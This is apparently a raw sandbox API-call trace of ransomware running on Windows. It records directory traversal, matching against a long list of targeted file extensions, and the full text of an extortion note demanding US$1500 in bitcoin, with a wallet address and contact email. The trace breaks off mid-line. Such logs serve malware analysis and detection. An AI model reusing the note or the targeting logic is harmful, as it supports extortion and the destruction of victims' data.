PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL", pszSpec="*.asm") returned 0 [0059.736] lstrlenA (lpString="*.asm") returned 5 [0059.736] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL", pszSpec="*.pfx") returned 0 [0059.736] lstrlenA (lpString="*.pfx") returned 5 [0059.736] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL", pszSpec="*.pem") returned 0 [0059.736] lstrlenA (lpString="*.pem") returned 5 [0059.736] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL", pszSpec="*.p12") returned 0 [0059.736] lstrlenA (lpString="*.p12") returned 5 [0059.737] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL", pszSpec="*.gpg") returned 0 [0059.737] lstrlenA (lpString="*.gpg") returned 5 [0059.737] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL", pszSpec="*.vsd") returned 0 [0059.737] lstrlenA (lpString="*.vsd") returned 5 [0059.737] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL", pszSpec="*.odg") returned 0 [0059.737] lstrlenA (lpString="*.odg") returned 5 [0059.737] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL", pszSpec="*.raw") returned 0 [0059.737] lstrlenA (lpString="*.raw") returned 5 [0059.737] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL", pszSpec="*.nef") returned 0 [0059.737] lstrlenA (lpString="*.nef") returned 5 [0059.737] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL", pszSpec="*.svg") returned 0 [0059.737] lstrlenA (lpString="*.svg") returned 5 [0059.737] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL", pszSpec="*.psd") returned 0 [0059.737] lstrlenA (lpString="*.psd") returned 5 [0059.737] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL", pszSpec="*.vmx") returned 0 [0059.737] lstrlenA (lpString="*.vmx") returned 5 [0059.737] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL", pszSpec="*.vmdk") returned 0 [0059.737] lstrlenA (lpString="*.vmdk") returned 6 [0059.737] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL", pszSpec="*.vdi") returned 0 [0059.737] lstrlenA (lpString="*.vdi") returned 5 [0059.737] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL", pszSpec="*.lay6") returned 0 [0059.737] lstrlenA (lpString="*.lay6") returned 6 [0059.737] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL", pszSpec="*.mpeg") returned 0 [0059.737] lstrlenA (lpString="*.mpeg") returned 6 [0059.737] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL", pszSpec="*.djvu") returned 0 [0059.737] lstrlenA (lpString="*.djvu") returned 6 [0059.737] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL", pszSpec="*.tiff") returned 0 [0059.737] lstrlenA (lpString="*.tiff") returned 6 [0059.737] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL", pszSpec="*.backup") returned 0 [0059.737] lstrlenA (lpString="*.backup") returned 8 [0059.738] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL", pszSpec="*.pdf") returned 0 [0059.738] lstrlenA (lpString="*.pdf") returned 5 [0059.738] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL", pszSpec="*.cert") returned 0 [0059.738] lstrlenA (lpString="*.cert") returned 6 [0059.738] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL", pszSpec="*.docm") returned 0 [0059.738] lstrlenA (lpString="*.docm") returned 6 [0059.738] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL", pszSpec="*.xlsm") returned 0 [0059.738] lstrlenA (lpString="*.xlsm") returned 6 [0059.738] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL", pszSpec="*.dwg") returned 0 [0059.738] lstrlenA (lpString="*.dwg") returned 5 [0059.738] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL", pszSpec="*.nd") returned 0 [0059.738] lstrlenA (lpString="*.nd") returned 4 [0059.738] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL", pszSpec="*.tlg") returned 0 [0059.738] lstrlenA (lpString="*.tlg") returned 5 [0059.738] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL", pszSpec="*.lgb") returned 0 [0059.738] lstrlenA (lpString="*.lgb") returned 5 [0059.738] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL", pszSpec="*.mov") returned 0 [0059.738] lstrlenA (lpString="*.mov") returned 5 [0059.738] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL", pszSpec="*.xdw") returned 0 [0059.738] lstrlenA (lpString="*.xdw") returned 5 [0059.738] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL", pszSpec="*.ods") returned 0 [0059.738] lstrlenA (lpString="*.ods") returned 5 [0059.738] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL", pszSpec="*.wav") returned 0 [0059.738] lstrlenA (lpString="*.wav") returned 5 [0059.738] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL", pszSpec="*.mp3") returned 0 [0059.738] lstrlenA (lpString="*.mp3") returned 5 [0059.738] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL", pszSpec="*.aiff") returned 0 [0059.738] lstrlenA (lpString="*.aiff") returned 6 [0059.738] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL", pszSpec="*.flac") returned 0 [0059.738] lstrlenA (lpString="*.flac") returned 6 [0059.738] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL", pszSpec="*.m4a") returned 0 [0059.738] lstrlenA (lpString="*.m4a") returned 5 [0059.738] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL", pszSpec="*.csv") returned 0 [0059.738] lstrlenA (lpString="*.csv") returned 5 [0059.739] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1da56400, ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xdb7fce60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1da56400, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0x14cd90, dwReserved0=0x0, dwReserved1=0x4f8538, cFileName="FPWEC.DLL", cAlternateFileName="")) returned 0 [0059.739] FindClose (in: hFindFile=0x4f8118 | out: hFindFile=0x4f8118) returned 1 [0059.739] FindNextFileA (in: hFindFile=0x4f81f8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="BIN", cAlternateFileName="")) returned 0 [0059.739] FindClose (in: hFindFile=0x4f81f8 | out: hFindFile=0x4f81f8) returned 1 [0059.739] FindNextFileA (in: hFindFile=0x4f81b8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 0 [0059.739] FindClose (in: hFindFile=0x4f81b8 | out: hFindFile=0x4f81b8) returned 1 [0059.739] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="Web Server Extensions", cAlternateFileName="WEBSER~1")) returned 0 [0059.739] FindClose (in: hFindFile=0x4f7080 | out: hFindFile=0x4f7080) returned 1 [0059.739] FindNextFileA (in: hFindFile=0x4f70d0, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab8af1f0, ftCreationTime.dwHighDateTime=0x1d5b95b, ftLastAccessTime.dwLowDateTime=0x9e8ecd90, ftLastAccessTime.dwHighDateTime=0x1d5977e, ftLastWriteTime.dwLowDateTime=0x9e8ecd90, ftLastWriteTime.dwHighDateTime=0x1d5977e, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x69004d, dwReserved1=0x3, cFileName="ncftp.exe", cAlternateFileName="")) returned 1 [0059.739] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0059.739] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ncftp.exe") returned -1 [0059.739] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ncftp.exe") returned -1 [0059.739] lstrcmpiA (lpString1="", lpString2="ncftp.exe") returned -1 [0059.739] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\*.*") returned="*.*" [0059.739] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\" | out: lpString1="C:\\Program Files\\Common Files\\") returned="C:\\Program Files\\Common Files\\" [0059.739] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\" | out: pszPath="C:\\Program Files\\Common Files\\") returned="" [0059.739] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\HOW TO DECRYPT FILES.txt" [0059.740] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\how to decrypt files.txt")) returned 0xffffffff [0059.740] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x84 [0059.740] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0059.740] WriteFile (in: hFile=0x84, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0059.743] SetFileTime (hFile=0x84, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0059.743] CloseHandle (hObject=0x84) returned 1 [0059.743] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\", lpString2="ncftp.exe" | out: lpString1="C:\\Program Files\\Common Files\\ncftp.exe") returned="C:\\Program Files\\Common Files\\ncftp.exe" [0059.743] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\ncftp.exe", pszSpec="*.ems") returned 0 [0059.743] lstrlenA (lpString="*.ems") returned 5 [0059.743] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\ncftp.exe", pszSpec="*.db") returned 0 [0059.743] lstrlenA (lpString="*.db") returned 4 [0059.743] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\ncftp.exe", pszSpec="*.dbf") returned 0 [0059.744] lstrlenA (lpString="*.dbf") returned 5 [0059.744] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\ncftp.exe", pszSpec="*.myox") returned 0 [0059.744] lstrlenA (lpString="*.myox") returned 6 [0059.744] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\ncftp.exe", pszSpec="*.myo") returned 0 [0059.744] lstrlenA (lpString="*.myo") returned 5 [0059.744] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\ncftp.exe", pszSpec="*.qbw") returned 0 [0059.744] lstrlenA (lpString="*.qbw") returned 5 [0059.744] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\ncftp.exe", pszSpec="*.qbb") returned 0 [0059.744] lstrlenA (lpString="*.qbb") returned 5 [0059.744] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\ncftp.exe", pszSpec="*.qbm") returned 0 [0059.744] lstrlenA (lpString="*.qbm") returned 5 [0059.744] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\ncftp.exe", pszSpec="*.qbo") returned 0 [0059.744] lstrlenA (lpString="*.qbo") returned 5 [0059.744] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\ncftp.exe", pszSpec="*.qbx") returned 0 [0059.744] lstrlenA (lpString="*.qbx") returned 5 [0059.744] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\ncftp.exe", pszSpec="*.qba") returned 0 [0059.744] lstrlenA (lpString="*.qba") returned 5 [0059.744] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\ncftp.exe", pszSpec="*.qby") returned 0 [0059.744] lstrlenA (lpString="*.qby") returned 5 [0059.744] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\ncftp.exe", pszSpec="*.qbj") returned 0 [0059.744] lstrlenA (lpString="*.qbj") returned 5 [0059.744] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\ncftp.exe", pszSpec="*.ofx") returned 0 [0059.745] lstrlenA (lpString="*.ofx") returned 5 [0059.745] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\ncftp.exe", pszSpec="*.qif") returned 0 [0059.745] lstrlenA (lpString="*.qif") returned 5 [0059.745] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\ncftp.exe", pszSpec="*.mye") returned 0 [0059.745] lstrlenA (lpString="*.mye") returned 5 [0059.745] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\ncftp.exe", pszSpec="*.mbox") returned 0 [0059.745] lstrlenA (lpString="*.mbox") returned 6 [0059.745] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\ncftp.exe", pszSpec="*.eml") returned 0 [0059.745] lstrlenA (lpString="*.eml") returned 5 [0059.745] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\ncftp.exe", pszSpec="*.pst") returned 0 [0059.745] lstrlenA (lpString="*.pst") returned 5 [0059.745] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\ncftp.exe", pszSpec="*.ost") returned 0 [0059.746] lstrlenA (lpString="*.ost") returned 5 [0059.746] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\ncftp.exe", pszSpec="*.idx") returned 0 [0059.746] lstrlenA (lpString="*.idx") returned 5 [0059.746] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\ncftp.exe", pszSpec="*.dbx") returned 0 [0059.746] lstrlenA (lpString="*.dbx") returned 5 [0059.746] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\ncftp.exe", pszSpec="*.sql") returned 0 [0059.746] lstrlenA (lpString="*.sql") returned 5 [0059.746] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\ncftp.exe", pszSpec="*.mdb") returned 0 [0059.746] lstrlenA (lpString="*.mdb") returned 5 [0059.746] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\ncftp.exe", pszSpec="*.fdb") returned 0 [0059.746] lstrlenA (lpString="*.fdb") returned 5 [0059.746] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\ncftp.exe", pszSpec="*.wab") returned 0 [0059.746] lstrlenA (lpString="*.wab") returned 5 [0059.746] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\ncftp.exe", pszSpec="*.dat") returned 0 [0059.746] lstrlenA (lpString="*.dat") returned 5 [0059.746] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\ncftp.exe", pszSpec="*.txt") returned 0 [0059.746] lstrlenA (lpString="*.txt") returned 5 [0059.746] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\ncftp.exe", pszSpec="*.jpeg") returned 0 [0059.746] lstrlenA (lpString="*.jpeg") returned 6 [0059.746] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\ncftp.exe", pszSpec="*.jpg") returned 0 [0059.746] lstrlenA (lpString="*.jpg") returned 5 [0059.746] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\ncftp.exe", pszSpec="*.png") returned 0 [0059.746] lstrlenA (lpString="*.png") returned 5 [0059.747] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\ncftp.exe", pszSpec="*.php") returned 0 [0059.747] lstrlenA (lpString="*.php") returned 5 [0059.747] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\ncftp.exe", pszSpec="*.cs") returned 0 [0059.747] lstrlenA (lpString="*.cs") returned 4 [0059.747] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\ncftp.exe", pszSpec="*.cpp") returned 0 [0059.747] lstrlenA (lpString="*.cpp") returned 5 [0059.747] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\ncftp.exe", pszSpec="*.rar") returned 0 [0059.747] lstrlenA (lpString="*.rar") returned 5 [0059.747] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\ncftp.exe", pszSpec="*.zip") returned 0 [0059.747] lstrlenA (lpString="*.zip") returned 5 [0059.747] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\ncftp.exe", pszSpec="*.html") returned 0 [0059.747] lstrlenA (lpString="*.html") returned 6 [0059.747] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\ncftp.exe", pszSpec="*.htm") returned 0 [0059.747] lstrlenA (lpString="*.htm") returned 5 [0059.747] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\ncftp.exe", pszSpec="*.xlsx") returned 0 [0059.747] lstrlenA (lpString="*.xlsx") returned 6 [0059.747] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\ncftp.exe", pszSpec="*.xls") returned 0 [0059.747] lstrlenA (lpString="*.xls") returned 5 [0059.747] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\ncftp.exe", pszSpec="*.mp4") returned 0 [0059.747] lstrlenA (lpString="*.mp4") returned 5 [0059.747] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\ncftp.exe", pszSpec="*.ppt") returned 0 [0059.747] lstrlenA (lpString="*.ppt") returned 5 [0059.747] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\ncftp.exe", pszSpec="*.pptx") returned 0 [0059.747] lstrlenA (lpString="*.pptx") returned 6 [0059.747] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\ncftp.exe", pszSpec="*.doc") returned 0 [0059.748] lstrlenA (lpString="*.doc") returned 5 [0059.748] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\ncftp.exe", pszSpec="*.dot") returned 0 [0059.748] lstrlenA (lpString="*.dot") returned 5 [0059.748] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\ncftp.exe", pszSpec="*.docx") returned 0 [0059.748] lstrlenA (lpString="*.docx") returned 6 [0059.748] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\ncftp.exe", pszSpec="*.7z") returned 0 [0059.748] lstrlenA (lpString="*.7z") returned 4 [0059.748] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\ncftp.exe", pszSpec="*.tar") returned 0 [0059.748] lstrlenA (lpString="*.tar") returned 5 [0059.748] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\ncftp.exe", pszSpec="*.bz2") returned 0 [0059.748] lstrlenA (lpString="*.bz2") returned 5 [0059.748] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\ncftp.exe", pszSpec="*.gz") returned 0 [0059.748] lstrlenA (lpString="*.gz") returned 4 [0059.748] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\ncftp.exe", pszSpec="*.mkv") returned 0 [0059.748] lstrlenA (lpString="*.mkv") returned 5 [0059.748] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\ncftp.exe", pszSpec="*.eml") returned 0 [0059.748] lstrlenA (lpString="*.eml") returned 5 [0059.748] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\ncftp.exe", pszSpec="*.msg") returned 0 [0059.748] lstrlenA (lpString="*.msg") returned 5 [0059.748] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\ncftp.exe", pszSpec="*.edb") returned 0 [0059.748] lstrlenA (lpString="*.edb") returned 5 [0059.748] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\ncftp.exe", pszSpec="*.accdb") returned 0 [0059.748] lstrlenA (lpString="*.accdb") returned 7 [0059.748] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\ncftp.exe", pszSpec="*.odb") returned 0 [0059.748] lstrlenA (lpString="*.odb") returned 5 [0059.748] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\ncftp.exe", pszSpec="*.java") returned 0 [0059.748] lstrlenA (lpString="*.java") returned 6 [0059.748] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\ncftp.exe", pszSpec="*.asm") returned 0 [0059.748] lstrlenA (lpString="*.asm") returned 5 [0059.748] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\ncftp.exe", pszSpec="*.pfx") returned 0 [0059.748] lstrlenA (lpString="*.pfx") returned 5 [0059.749] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\ncftp.exe", pszSpec="*.pem") returned 0 [0059.749] lstrlenA (lpString="*.pem") returned 5 [0059.749] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\ncftp.exe", pszSpec="*.p12") returned 0 [0059.749] lstrlenA (lpString="*.p12") returned 5 [0059.749] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\ncftp.exe", pszSpec="*.gpg") returned 0 [0059.749] FindNextFileA (in: hFindFile=0x4f70d0, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f83b8, cFileName="Services", cAlternateFileName="")) returned 1 [0059.749] lstrcmpA (lpString1=".", lpString2="Services") returned -1 [0059.749] lstrcmpA (lpString1="..", lpString2="Services") returned -1 [0059.749] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\ncftp.exe") returned="ncftp.exe" [0059.749] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\", lpString2="Services" | out: lpString1="C:\\Program Files\\Common Files\\Services") returned="C:\\Program Files\\Common Files\\Services" [0059.749] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Services\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f8184, cFileName=".", cAlternateFileName="")) returned 0x4f7080 [0059.749] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0059.749] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0059.749] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0059.749] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0059.749] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafbfd139, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0xafbfd139, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0xafbfd139, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="verisign.bmp", cAlternateFileName="")) returned 1 [0059.750] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0059.750] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="verisign.bmp") returned -1 [0059.750] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="verisign.bmp") returned 